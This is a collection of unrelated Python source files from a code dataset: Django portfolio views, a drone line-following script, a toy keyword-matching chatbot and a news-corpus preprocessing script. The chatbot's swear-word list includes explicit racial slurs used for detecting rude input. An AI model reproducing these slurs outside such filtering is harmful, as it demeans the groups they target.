taxas_custodia:\n total_gasto -= item_lista.valor\n total_custodia += item_lista.valor\n \n # Rodar calculo de patrimonio\n patrimonio = 0\n \n # Pegar último dia util com negociação da ação para calculo do patrimonio\n historicos_na_data = {ticker: valor for ticker, valor in HistoricoAcao.objects.filter(acao__ticker__in=acoes.keys(), data__lte=item_lista.data).order_by('acao__ticker', '-data') \\\n .distinct('acao__ticker').values_list('acao__ticker', 'preco_unitario')}\n for acao in acoes.keys():\n patrimonio += (historicos_na_data[acao] * acoes[acao])\n \n data_formatada = str(calendar.timegm(item_lista.data.timetuple()) * 1000)\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_total_gasto) > 0 and graf_total_gasto[-1][0] == data_formatada:\n graf_total_gasto[len(graf_total_gasto)-1][1] = float(-total_gasto)\n else:\n graf_total_gasto += [[data_formatada, float(-total_gasto)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_patrimonio) > 0 and graf_patrimonio[-1][0] == data_formatada:\n graf_patrimonio[len(graf_patrimonio)-1][1] = float(patrimonio)\n else:\n graf_patrimonio += [[data_formatada, float(patrimonio)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if len(graf_poupanca_proventos) > 0 and graf_poupanca_proventos[-1][0] == data_formatada:\n graf_poupanca_proventos[len(graf_poupanca_proventos)-1][1] = float(total_proventos - proventos_gastos)\n else:\n graf_poupanca_proventos += [[data_formatada, float(total_proventos - proventos_gastos)]]\n \n # Adicionar dia mais atual\n patrimonio = 0\n for acao in acoes:\n if acoes[acao] > 0:\n# print '%s %s' % (acao, acoes[acao])\n if ValorDiarioAcao.objects.filter(data_hora__date=datetime.date.today(), acao__ticker=acao).exists():\n patrimonio += (ValorDiarioAcao.objects.filter(acao__ticker=acao).order_by('-data_hora')[0].preco_unitario * acoes[acao])\n else:\n patrimonio += (HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario * acoes[acao])\n \n data_formatada = str(calendar.timegm(datetime.date.today().timetuple()) * 1000)\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if not(len(graf_total_gasto) > 0 and graf_total_gasto[-1][0] == data_formatada):\n graf_total_gasto += [[data_formatada, float(-total_gasto)]]\n # Verifica se altera ultima posicao do grafico ou adiciona novo registro\n if not(len(graf_patrimonio) > 0 and graf_patrimonio[-1][0] == data_formatada):\n graf_patrimonio += [[data_formatada, float(patrimonio)]]\n \n# print proventos_gastos\n # Popular dados\n dados = {}\n dados['acoes'] = acoes\n dados['total_proventos'] = total_proventos\n dados['poupanca_proventos'] = total_proventos - proventos_gastos\n dados['total_gasto'] = -total_gasto\n dados['total_custodia'] = total_custodia\n dados['patrimonio'] = patrimonio\n dados['lucro'] = patrimonio + total_gasto\n dados['lucro_percentual'] = (patrimonio + total_gasto) / -total_gasto * 100\n dados['dividendos_mensal'] = graf_dividendos_mensal[-1][1]\n dados['jscp_mensal'] = graf_jscp_mensal[-1][1]\n# dados['saldo_geral'] = calcular_saldo_geral_acoes_bh()\n \n # Remover taxas de custódia da lista conjunta de operações e proventos\n lista_conjunta = [value for value in lista_conjunta if not isinstance(value, Object)]\n\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': lista_conjunta, 'graf_total_gasto': graf_total_gasto, 'graf_patrimonio': graf_patrimonio,\n 'graf_proventos_mes': graf_proventos_mes, 'graf_media_proventos_6_meses': graf_media_proventos_6_meses, 'graf_poupanca_proventos': graf_poupanca_proventos,\n 'graf_gasto_op_sem_prov_mes': graf_gasto_op_sem_prov_mes, 'graf_uso_proventos_mes': graf_uso_proventos_mes,\n 'graf_dividendos_mensal': graf_dividendos_mensal, 'graf_jscp_mensal': graf_jscp_mensal, 'dados': dados})\n \n@login_required\n@adiciona_titulo_descricao('Inserir operação em Ações (Buy and Hold)', 'Insere um registro de operação de compra/venda em Ações para Buy and Hold')\ndef inserir_operacao_acao(request):\n investidor = request.user.investidor\n \n # Testa se investidor possui mais de uma divisão\n varias_divisoes = Divisao.objects.filter(investidor=investidor).count() > 1\n \n # Preparar formset para divisoes\n DivisaoFormSet = inlineformset_factory(OperacaoAcao, DivisaoOperacaoAcao, fields=('divisao', 'quantidade'), can_delete=False,\n extra=1, formset=DivisaoOperacaoAcaoFormSet)\n \n if request.method == 'POST':\n form_operacao_acao = OperacaoAcaoForm(request.POST)\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST) if not varias_divisoes else None\n formset_divisao = DivisaoFormSet(request.POST, investidor=investidor) if varias_divisoes else None\n if form_operacao_acao.is_valid():\n operacao_acao = form_operacao_acao.save(commit=False)\n operacao_acao.investidor = investidor\n operacao_acao.destinacao = 'B'\n try:\n with transaction.atomic():\n # Validar de acordo com a quantidade de divisões\n if varias_divisoes:\n formset_divisao = DivisaoFormSet(request.POST, instance=operacao_acao, investidor=investidor)\n if formset_divisao.is_valid():\n operacao_acao.save()\n formset_divisao.save()\n for form_divisao_operacao in [form for form in formset_divisao if form.cleaned_data]:\n divisao_operacao = form_divisao_operacao.save(commit=False)\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] != None and form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] > 0:\n # TODO remover operação de uso proventos\n divisao_operacao.usoproventosoperacaoacao = UsoProventosOperacaoAcao(qtd_utilizada=form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'], operacao=operacao_acao)\n divisao_operacao.usoproventosoperacaoacao.save()\n \n messages.success(request, 'Operação inserida com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n for erro in formset_divisao.non_form_errors():\n messages.error(request, erro)\n \n else:\n if form_uso_proventos.is_valid():\n operacao_acao.save()\n divisao_operacao = DivisaoOperacaoAcao(operacao=operacao_acao, quantidade=operacao_acao.quantidade, divisao=investidor.divisaoprincipal.divisao)\n divisao_operacao.save()\n uso_proventos = form_uso_proventos.save(commit=False)\n if uso_proventos.qtd_utilizada > 0:\n uso_proventos.operacao = operacao_acao\n uso_proventos.divisao_operacao = divisao_operacao\n uso_proventos.save()\n messages.success(request, 'Operação inserida com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n except:\n pass\n \n for erro in [erro for erro in form_operacao_acao.non_field_errors()]:\n messages.error(request, erro)\n else:\n valores_iniciais = {}\n if investidor.tipo_corretagem == 'F':\n valores_iniciais['corretagem'] = investidor.corretagem_padrao\n form_operacao_acao = OperacaoAcaoForm(initial=valores_iniciais)\n form_uso_proventos = UsoProventosOperacaoAcaoForm(initial={'qtd_utilizada': Decimal('0.00')})\n formset_divisao = DivisaoFormSet(investidor=investidor)\n \n return TemplateResponse(request, 'acoes/buyandhold/inserir_operacao_acao.html', {'form_operacao_acao': form_operacao_acao, 'form_uso_proventos': form_uso_proventos,\n 'formset_divisao': formset_divisao, 'varias_divisoes': varias_divisoes})\n \n@login_required\n@adiciona_titulo_descricao('Inserir taxa de custódia para Ações', 'Insere um registro no histórico de valores de taxa de custódia para o investidor')\ndef inserir_taxa_custodia_acao(request):\n investidor = request.user.investidor\n \n if request.method == 'POST':\n form = TaxaCustodiaAcaoForm(request.POST)\n if form.is_valid():\n taxa_custodia = form.save(commit=False)\n taxa_custodia.investidor = investidor\n taxa_custodia.save()\n return HttpResponseRedirect(reverse('acoes:bh:listar_taxas_custodia_acao'))\n else:\n form = TaxaCustodiaAcaoForm()\n \n return TemplateResponse(request, 'acoes/buyandhold/inserir_taxa_custodia_acao.html', {'form': form, })\n \n@adiciona_titulo_descricao('Listar taxas de custódia de ações', 'Lista o histórico de valores de taxas de custódia cadastrados pelo investidor')\ndef listar_taxas_custodia_acao(request):\n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/listar_taxas_custodia_acao.html', {'taxas_custodia': list()})\n \n taxas_custodia = TaxaCustodiaAcao.objects.filter(investidor=investidor).order_by('ano_vigencia', 'mes_vigencia')\n for taxa in taxas_custodia:\n taxa.ano_vigencia = str(taxa.ano_vigencia).replace('.', '')\n return TemplateResponse(request, 'acoes/buyandhold/listar_taxas_custodia_acao.html', {'taxas_custodia': taxas_custodia})\n\n@adiciona_titulo_descricao('Painel de Ações (Buy and Hold)', 'Posição atual do investidor em Ações para Buy and Hold')\ndef painel(request):\n # Usado para criar objetos vazios\n class Object(object):\n pass\n \n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/painel.html', {'acoes': {}, 'dados': {}})\n \n acoes_investidor = buscar_acoes_investidor_na_data(investidor, destinacao='B')\n \n # Guarda as ações correntes para o calculo do patrimonio\n acoes = {}\n # Cálculo de quantidade\n for acao in Acao.objects.filter(id__in=acoes_investidor):\n acoes[acao.ticker] = Object()\n acoes[acao.ticker].quantidade = calcular_qtd_acoes_ate_dia_por_ticker(investidor, acao.ticker, datetime.date.today())\n if acoes[acao.ticker].quantidade == 0:\n del acoes[acao.ticker]\n else:\n acoes[acao.ticker].valor_dia_anterior = HistoricoAcao.objects.filter(acao=acao, data__lt=datetime.date.today()).order_by('-data')[0].preco_unitario\n \n # Pegar totais de ações \n total_acoes = 0 \n total_valor = 0\n total_variacao = 0\n total_variacao_percentual = 0\n \n # Preencher totais \n for acao in acoes.keys():\n total_acoes += acoes[acao].quantidade\n if ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).exists():\n acoes[acao].valor = ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).order_by('-data_hora')[0].preco_unitario\n else:\n acoes[acao].valor = HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario\n acoes[acao].variacao = acoes[acao].valor - acoes[acao].valor_dia_anterior\n acoes[acao].variacao_total = acoes[acao].variacao * acoes[acao].quantidade\n acoes[acao].valor_total = acoes[acao].valor * acoes[acao].quantidade\n total_valor += acoes[acao].valor_total\n total_variacao += acoes[acao].variacao * acoes[acao].quantidade\n \n # Calcular porcentagens\n for acao in acoes.keys():\n acoes[acao].quantidade_percentual = float(acoes[acao].quantidade) / total_acoes * 100\n acoes[acao].valor_total_percentual = acoes[acao].valor_total / total_valor * 100\n acoes[acao].variacao_percentual = float(acoes[acao].variacao) / float(acoes[acao].valor_dia_anterior) * 100\n total_variacao_percentual += acoes[acao].valor_dia_anterior * acoes[acao].quantidade\n \n # Calcular percentual do total de variação\n if total_variacao_percentual > 0:\n total_variacao_percentual = total_variacao / total_variacao_percentual * Decimal(100)\n \n # Adicionar dados sobre última atualização\n if ValorDiarioAcao.objects.exists():\n valor_diario_mais_recente = ValorDiarioAcao.objects.latest('data_hora').data_hora\n else:\n valor_diario_mais_recente = HistoricoAcao.objects.latest('data').data\n \n # Gráfico de composição\n graf_composicao = [{'label': acao, 'data': float(acoes[acao].valor_total_percentual)} for acao in acoes.keys()]\n \n # Popular dados\n dados = {}\n dados['total_acoes'] = total_acoes\n dados['total_valor'] = total_valor\n dados['total_variacao'] = total_variacao\n dados['total_variacao_percentual'] = total_variacao_percentual\n dados['valor_diario_mais_recente'] = valor_diario_mais_recente\n\n return TemplateResponse(request, 'acoes/buyandhold/painel.html', {'acoes': acoes, 'dados': dados, 'graf_composicao': json.dumps(graf_composicao)})\n \n@login_required\ndef remover_taxa_custodia_acao(request, taxa_id):\n investidor = request.user.investidor\n taxa = get_object_or_404(TaxaCustodiaAcao, pk=taxa_id)\n \n # Verifica se a taxa é do investidor, senão, jogar erro de permissão\n if taxa.investidor != investidor:\n raise PermissionDenied\n \n try:\n taxa.delete()\n messages.success(request, 'Taxa de custódia excluída com sucesso')\n except Exception as e:\n messages.error(request, e)\n \n return HttpResponseRedirect(reverse('acoes:listar_taxas_custodia_acao'))","sub_path":"bagogold/bagogold/views/acoes/buyandhold.py","file_name":"buyandhold.py","file_ext":"py","file_size_in_byte":39727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"551056744","text":"\nimport datetime\nimport os\n\n\npath_emi = os.path.join('TNO-test', 'offline', 'test-tno.nc')\n\noutput_path = os.path.join('TNO-test', 'offline', 'hourly')\noutput_name = \"Oae_paper_\"\nprof_path = os.path.join(\"TNO-test\", 'profiles')\n\nstart_date = datetime.date(2019, 1, 1)\nend_date = datetime.date(2019, 1, 1) # included\n\n\nvar_list = ['CO2']\n\ncatlist = [\n ['CO2_A_AREA', 'CO2_A_POINT', 'CO2_F_AREA']\n]\n\ntplist = [\n ['GNFR_A', 'GNFR_A', 'GNFR_F']\n]\nvplist = [\n ['GNFR_area_sources', 'GNFR_A', 'GNFR_area_sources']\n]\n","sub_path":"cases/test_tno_offline.py","file_name":"test_tno_offline.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"494736472","text":"import Moana.Library.ProcessClass.ProcessClass as mProcessClass\n\nclass CmdPing(mProcessClass.ProcessClass):\n def __init__(self):\n super(CmdPing, self).__init__()\n\n def execute(self, managerName):\n self._workerManager.setCurrentWorker(managerName)\n\n topic = self._ruler.getConfig(\"master\")\n\n src = self._json.getPacketSrc(self)\n\n machine = \"Server\"\n exe = \"Moana\"\n role = \"Executor\"\n\n dest = self._json.getDest(\\\n machine=machine,\\\n exe=exe, \\\n role=role)\n\n packet = self._json.getPacket( \\\n topic=topic, \\\n src=src, \\\n dest=dest, \\\n cmd=\"PingRequester\")\n\n messenger = self._workerManager.getHandler(\"Publisher\")\n messenger.sendPacket(packet)\n\n #interfaceQueue = self._queueManager.loadQueue(\"Interface\")\n #frame = interfaceQueue.get()\n\n #self._logger.debug(\"Frame: {0}\".format(frame))","sub_path":"Boat/Client/Commander/Order/CmdPing.py","file_name":"CmdPing.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"591236039","text":"import rospy\nimport cv2\nimport numpy as np\nimport math\nimport time\nfrom geometry_msgs.msg import Twist, PoseStamped\nfrom mavros_msgs.msg import *\nfrom mavros_msgs.srv import *\n\n# function to arm the drone\ndef setArm():\n rospy.wait_for_service('mavros/cmd/arming')\n try:\n armService = rospy.ServiceProxy('mavros/cmd/arming', mavros_msgs.srv.CommandBool)\n armService(True)\n except rospy.ServiceException:\n print(\"Service arming call failed\")\n\n# function to set flight mode to OffboardMode\ndef setOffboardMode():\n rospy.wait_for_service('mavros/set_mode')\n try:\n flightModeService = rospy.ServiceProxy('mavros/set_mode', mavros_msgs.srv.SetMode)\n flightModeService(custom_mode='OFFBOARD')\n except rospy.ServiceException:\n print(\"service set_mode call failed. Offboard Mode could not be set.\")\n\n\n# message to hold current arming state of drone\nstate = State()\n\n# state callback function will fill the state message with current state\ndef stateCb(msg):\n state.armed = msg.armed\n\n# message to hold current position of drone \nlocal_pos = PoseStamped()\n\n# position callback function will fill the local_pos message with current position of drone\ndef posCb(msg):\n local_pos.pose.position.x = msg.pose.position.x\n local_pos.pose.position.y = msg.pose.position.y\n local_pos.pose.position.z = msg.pose.position.z\n\npos_hold = PositionTarget()\n# set the flag to use position setpoints and yaw angle\npos_hold.type_mask = int('010111111000', 2)\n# LOCAL_NED coordinate frame\npos_hold.coordinate_frame = 1\npos_hold.position.x = 0\npos_hold.position.y = 0\npos_hold.position.z = 5\n\n# message to hold the forward velocity that we want to give to the drone\n# publishing this message will give the drone a forward velocity\nfwd_vel = Twist()\nfwd_vel.linear.x = 0.75\nfwd_vel.linear.y = 0\nfwd_vel.linear.z = 0\n\n# message to hold the left translational velocity that we want to give to the drone\nleft_vel = Twist()\nleft_vel.linear.x = 0\nleft_vel.linear.y = -0.75\nleft_vel.linear.z = 0\n\n# message to hold the right translational velocity that we want to give to the drone\nright_vel = Twist()\nright_vel.linear.x = 0\nright_vel.linear.y = 0.75\nright_vel.linear.z = 0\n\n# message to hold the clockwise yaw velocity that we want to give to the drone\ncw_yaw = Twist()\ncw_yaw.angular.x = 0\ncw_yaw.angular.y = 0\ncw_yaw.angular.z = -0.75\n\n# message to hold the counter-clockwise yaw velocity that we want to give to the drone\nccw_yaw = Twist()\nccw_yaw.angular.x = 0\nccw_yaw.angular.y = 0\nccw_yaw.angular.z = 0.75\n\n# main node\ndef main_func():\n counter = 0\n # initializing a node to communicate with the ROS Master\n rospy.init_node('line_follower_node', anonymous=True)\n \n # initializing a velocity publisher, to publish velocity on the cmd_vel topic\n vel_pub = rospy.Publisher('/mavros/setpoint_velocity/cmd_vel_unstamped', Twist, queue_size=10)\n \n # initializing a position setpoint publisher, to publish position setpoint on the setpoint_raw/local topic\n sp_pub = rospy.Publisher('/mavros/setpoint_raw/local', PositionTarget, queue_size=10)\n\n # starting video stream\n cap = cv2.VideoCapture('line_latest1.mp4')\n\n # setting rate of publishing messages\n rate = rospy.Rate(20) # 10hz\n \n # subscribing to the state topic to get the current state of drone\n rospy.Subscriber('mavros/state', State, stateCb)\n \n # subscribing to the local_position/pose topic to get the current location\n rospy.Subscriber('mavros/local_position/pose', PoseStamped, posCb)\n\n # arming the drone\n while not state.armed:\n setArm()\n rate.sleep()\n\n # setting offboard flight mode\n setOffboardMode()\n\n # Check if camera opened successfully\n if (cap.isOpened()== False):\n print(\"Error opening video stream or file\")\n\n alt_sp = np.array((0, 0, 5))\n alt_offset = 0.3\n checkpoint1 = False\n ang_offset = 1.5\n x_offset = 42\n \n # Read until video is completed\n while cap.isOpened() and (not rospy.is_shutdown()):\n # setting threshholds for the defective frames that we got from defective_frame.py\n if ((counter >= 73) and (counter <= 82)):\n thresh_min = 60\n thresh_max = 70\n elif ((counter >= 83) and (counter <= 86)):\n thresh_min = 50\n thresh_max = 60\n elif ((counter >= 86) and (counter <= 92)):\n thresh_min = 60\n thresh_max = 70\n elif ((counter >= 110) and (counter <= 112)):\n thresh_min = 30\n thresh_max = 50\n else:\n thresh_min = 20\n thresh_max = 25\n \n pos = np.array((local_pos.pose.position.x, local_pos.pose.position.y, local_pos.pose.position.z))\n\n if np.linalg.norm(alt_sp - pos) < alt_offset:\n checkpoint1 = True\n if checkpoint1 == False:\n sp_pub.publish(pos_hold)\n if checkpoint1 == True:\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = cv2.resize(frame, (640, 360))\n \n # Convert the img to grayscale\n gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n \n kernel2 = np.ones((17,17),np.uint8)\n erosion = cv2.dilate(gray,kernel2,iterations = 3)\n \n # Apply edge detection method on the image\n edges = cv2.Canny(erosion,thresh_min,thresh_max,apertureSize = 3)\n \n # This returns an array of r and theta values\n lines = cv2.HoughLines(edges,1,np.pi/180, 100)\n \n if lines is not None:\n for r,theta in lines[0]:\n print('check')\n\n # Stores the value of cos(theta) in a\n a = np.cos(theta)\n\n # Stores the value of sin(theta) in b\n b = np.sin(theta)\n\n # x0 stores the value rcos(theta)\n x0 = a*r\n\n # y0 stores the value rsin(theta)\n y0 = b*r\n\n # x1 stores the rounded off value of (rcos(theta)-1000sin(theta))\n x1 = int(x0 + 1000*(-b))\n\n # y1 stores the rounded off value of (rsin(theta)+1000cos(theta))\n y1 = int(y0 + 1000*(a))\n\n # x2 stores the rounded off value of (rcos(theta)+1000sin(theta))\n x2 = int(x0 - 1000*(-b))\n\n # y2 stores the rounded off value of (rsin(theta)-1000cos(theta))\n y2 = int(y0 - 1000*(a))\n center_x = (x1+x2)/2\n center_y = (y1+y2)/2\n error_x = center_x - 320\n if (x2 - x1 == 0):\n ang = 0\n else:\n ang = -1*(math.atan((y2 - y1)/(x2 -x1)))\n # cv2.line draws a line in img from the point(x1,y1) to (x2,y2).\n # (0,0,255) denotes the colour of the line to be\n #drawn. In this case, it is red.\n ang = round(ang, 2)\n cv2.line(frame,(x1,y1), (x2,y2), (0,0,255),5)\n cv2.line(frame,(320,0), (320,360), (0,255,255), 3)\n cv2.putText(frame, str(ang), (10, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n cv2.putText(frame, str(error_x), (10, 320), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n\n # Display the resulting frame\n cv2.imshow('Frame',frame)\n print(\"frame processed\")\n\n if abs(ang) > ang_offset:\n if theta > 0:\n vel_pub.publish(cw_yaw)\n print(\"Clockwise... \")\n if ang < 0:\n vel_pub.publish(ccw_yaw)\n print(\"Anti Clockwise... \")\n if abs(ang) < ang_offset:\n if abs(error_x) > x_offset:\n if error_x > 0:\n vel_pub.publish(left_vel)\n print(\"Positive... \")\n if error_x < 0:\n vel_pub.publish(right_vel)\n print(\"Negative... \")\n if ((abs(ang) < ang_offset) and (abs(error_x) < x_offset)):\n vel_pub.publish(fwd_vel)\n print(\"Forward... \")\n\n # Press Q on keyboard to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n #cv2.imwrite(\"defective frame.jpg\", frame)\n break\n counter += 1\n\n rate.sleep()\n time.sleep(0.3)\n\n # When everything done, release the video capture object\n cap.release()\n\n # Closes all the frames\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n try:\n main_func()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"line_follower.py","file_name":"line_follower.py","file_ext":"py","file_size_in_byte":8807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"300782236","text":"import random\n\nanimal_words_list = [\"animal\", \"animals\", \"dog\", \"cat\", \"pet\", \"puppy\"]\n\nswear_words_list = [\"arse\",\"ass\",\"asshole\",\",bastard\",\"bitch\",\"bollocks\",\"child-fucker\",\"Christ on a bike\",\"Christ on a cracker\",\"crap\",\\\n \"cunt\",\"damn\",\"frigger\",\"fuck\", \"fuck you\",\"goddamn\",\"godsdamn\",\"hell\",\"holy shit\",\"horseshit\",\"Jesus Christ\",\"Jesus fuck\",\"Jesus H. Christ\",\\\n \"Jesus Harold Christ,\",\"Jesus wept\",\"Jesus, Mary and Joseph\",\"Judas Priest\",\"motherfucker\",\"nigga\",\"nigger\",\"prick\",\"shit\",\\\n \"shit ass\",\"shitass\",\"slut\",\"son of a bitch\",\"son of a motherless goat\",\"son of a whore\",\"sweet Jesus\",\"twat\", \"whore\"]\n\nafraid_words_list = ['threaten', \"cut\", 'behead', \"kill\"]\n\nsad_words_list = ['sad', \"bad news\", \"lost\", \"loss\"]\n\nbored_words_list = ['boring', \"bored\"]\n\nheartbroke_words_list = ['over', \"hate\", \"finish\"]\n\nmoney_words_list = ['money', \"finance\", \"financial\", \"economy\", \"economic\"]\n\ntakeoff_words_list = ['bye', \"goodbye\", \"see you\", 'have a great day']\n\nwaiting_words = [\"euhh\", 'eee']\n\njokes_list = [\"What did the Buddhist ask the hot dog vendor? - Make me one with everything.\",\n \" You know why you never see elephants hiding up in trees? - Because they’re really good at it.\",\n \"What is red and smells like blue paint? - Red paint.\",\n \"A dyslexic man walks into a bra\",\n \" Where does the General keep his armies? - In his sleevies!\",\n \"Why aren’t koalas actual bears? - The don’t meet the koalafications.\",\n \"What do you call bears with no ears? - B\",\n \"Why dont blind people skydive? - Because it scares the crap out of their dogs.\",\n \"I went in to a pet shop. I said, “Can I buy a goldfish?” The guy said, 'Do you want an aquarium?' - I said, 'I don’t care what star sign it is.'\",\n \" What do you get when you cross a dyslexic, an insomniac, and an agnostic? - Someone who lays awake at night wondering if there is a dog.\" ]\n\n\ndef input_to_list(input):\n input_list = input.split()\n return input_list\n\ndef welcome_user(input_list):\n user_name = input_list[-1]\n\n welcome_message = \"Welcome {0}! I would be pleased to answer few questions!\".format(user_name)\n\n return welcome_message\n\n\n\ndef analize(input):\n gif_name = \"\"\n return_message = \"\"\n input_list = input_to_list(input)\n for index, word in enumerate(input_list):\n if \"name\" in input_list and \"is\" in input_list:\n return_message = welcome_user(input_list)\n gif_name = \"ok\"\n elif input_list[index] == \"love\":\n return_message = \"Let's spread love together\"\n gif_name = \"inlove\"\n elif input_list[index] in animal_words_list:\n return_message = \"I love animals, they're so cute\"\n gif_name = \"dog\"\n elif any(word in input_list for word in swear_words_list):\n return_message = \"I don't speak with unpolite people, watch your mouth!\"\n gif_name = \"no\"\n elif input_list[index] in afraid_words_list:\n return_message = \"I am so affraid by what you just said !, I report to the Police\"\n gif_name = \"afraid\"\n elif input_list[index] == \"joke\":\n return_message = random.choice(jokes_list)\n gif_name = \"laughing\"\n elif input_list[index] in bored_words_list:\n return_message = \"I want to sleep, you're so annoying!\"\n gif_name = \"bored\"\n elif any(word in input_list for word in sad_words_list):\n return_message = \"Don't announce me things like that, I am hyper sensitive\"\n gif_name = \"bored\"\n elif input_list[index] == \"Do you know how to dance ?\":\n return_message = \"Do you know how to dance ?\"\n gif_name = \"dancing\"\n elif input_list[index] == \"excite\":\n return_message = \"Please tell me !\"\n gif_name = \"excited\"\n elif input_list[index] == \"guess\":\n return_message = \"Please tell me !\"\n gif_name = \"giggling\"\n elif any(word in input_list for word in heartbroke_words_list):\n return_message = \"I cannot handle it, it's too much for me!\"\n gif_name = \"heartbroke\"\n elif any(word in input_list for word in money_words_list):\n return_message = \"Make money money money\"\n gif_name = \"money\"\n elif any(word in input_list for word in takeoff_words_list):\n return_message = \"It was great talking with you !\"\n gif_name = \"takeoff\"\n elif any(word in input_list for word in waiting_words ):\n return_message = \"Why does it take so long to answer?\"\n gif_name = \"waiting\"\n else:\n return_message = \"Sorry, I didn't understand what you just typed, please try again !\"\n gif_name = \"confused\"\n\n return gif_name, return_message\n","sub_path":"parse/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"223026807","text":"import json\n\n\nclass clear_file:\n def write_json(self, data, filename='output.json'):\n with open(filename, 'w') as f:\n json.dump(data, f, indent=4)\n\n def clear_output_file(self):\n with open(\"output.json\") as json_file:\n data = json.load(json_file)\n\n data['scores'] = []\n self.write_json(data)\n","sub_path":"Project/clear_file.py","file_name":"clear_file.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"3867831","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nUsage: %s output_dir corpus_name\n\nExtracts and normalizes all texts that are saved by the rss feed-crawler.\nThe resulting file is a usable corpus for training with word2vec\n\"\"\"\n\nfrom pymongo import MongoClient\nfrom normalizr import Normalizr\nimport codecs\nimport re\nimport sys\n\nnormalizr = Normalizr(language='de')\n\nnormalizations = [\n 'remove_extra_whitespaces',\n 'replace_hyphens',\n 'remove_accent_marks',\n 'replace_symbols',\n ('replace_punctuation', {'replacement': ' '})\n]\n\ncategory_extractors = {\n u'Spiegel': re.compile(r\"http://www\\.spiegel\\.de/(\\w+)/\"),\n u'Tagesschau': re.compile(r\"http://www\\.tagesschau\\.de/(\\w+)/\"),\n u'N24': re.compile(r\"http://(?:www|feeds)\\.n24\\.de(?:/~r)?/n24/([a-cA-Ce-xE-X_]+)/(\\w*)\"),\n u'NTV': re.compile(r\"http://www\\.n-tv\\.de/(\\w*)/\"),\n u'Zeit': re.compile(r\"http://www\\.zeit\\.de/(?:(politik)/(\\w*)|(\\w*))/\"),\n u'Welt': re.compile(r\"https://www\\.welt\\.de/(?:(politik)/((?!article)\\w*)|(\\w*))/\"),\n u'FAZ': re.compile(r\"http://www\\.faz\\.net/aktuell/(\\w*)/\"),\n u'TAZ': None,\n u'Focus': re.compile(r\"http://www\\.focus\\.de/(\\w*)/\"),\n u'Huffington Post': None,\n u'Deutsche Stimme': None,\n u'Junge Freiheit': re.compile(r\"https://jungefreiheit\\.de/(\\w*)/\"),\n u'Junge Welt': None,\n u'Süddeutsche': re.compile(r\"http://www\\.sueddeutsche\\.de/(\\w*)/\"),\n u'Handelsblatt': re.compile(r\"http://www\\.handelsblatt\\.com/(?:my/)?(\\w*)/(?:(\\w+)/|\\w*-)\"),\n u'WirtschaftsWoche': re.compile(r\"http://www\\.wiwo\\.de/(\\w*)/\"),\n u'Netzpolitik': None,\n u'Telepolis': re.compile(r\"https://www\\.heise\\.de/tp/(\\w*)/\"),\n u'Golem': 'IT',\n u'RT': None,\n u'Stern': None,\n u'RP Online': re.compile(r\"http://www\\.rp-online\\.de/(\\w*)/\"),\n u'Der Postillion': None,\n u'Titanic': None,\n u'Vice': None,\n u'Volksstimme': re.compile(r\"http://www\\.volksstimme\\.de/deutschland-welt/(\\w+)/\"),\n u'Unsere Zeit': re.compile(r\"http://www\\.unsere-zeit\\.de/de/\\d+/(\\w+)/\"),\n u'Cicero': None\n}\n\n# This list is manually curated and maps the extracted freeform categories\n# to fewer predefined categories. This list probably needs regular maintenance\n\ncategory_mapping = {\n 'Politik': ['politik_konjunktur', 'politischesBuch', 'politik_', 'Nachrichten_Politik', 'politik_deutschland', 'politik', 'innenpolitik', 'video_politik'],\n 'Ausland': ['politik_ausland', 'ausland', 'internationale_politik', 'politik_international'],\n 'Aktuell': ['newsticker', 'thema', 'eilmeldung', 'termine', 'pressemitteilung', 'news'],\n 'Technologie': ['video_technik', 'Wissen_Mensch', 'spiegelwissen', 'technik_gadgets', 'netzwelt', 'wissenschaft', 'Nachrichten_Netzwelt', 'technik_medizin', 'Wissen_Technik', 'IT', 'Wissen_Job', 'Nachrichten_Auto', 'technologie', 'auto', 'digitales', 'technik', 'Nachrichten_Wissenschaft', 'digital', 'technik_zukunftdergesundheit'],\n 'Kultur': ['kultur', 'Wissen_Kultur', 'Wissen_History', 'theorie_geschichte', 'Wissen_d', 'wissen'],\n 'Wirtschaft': ['video_unternehmen', 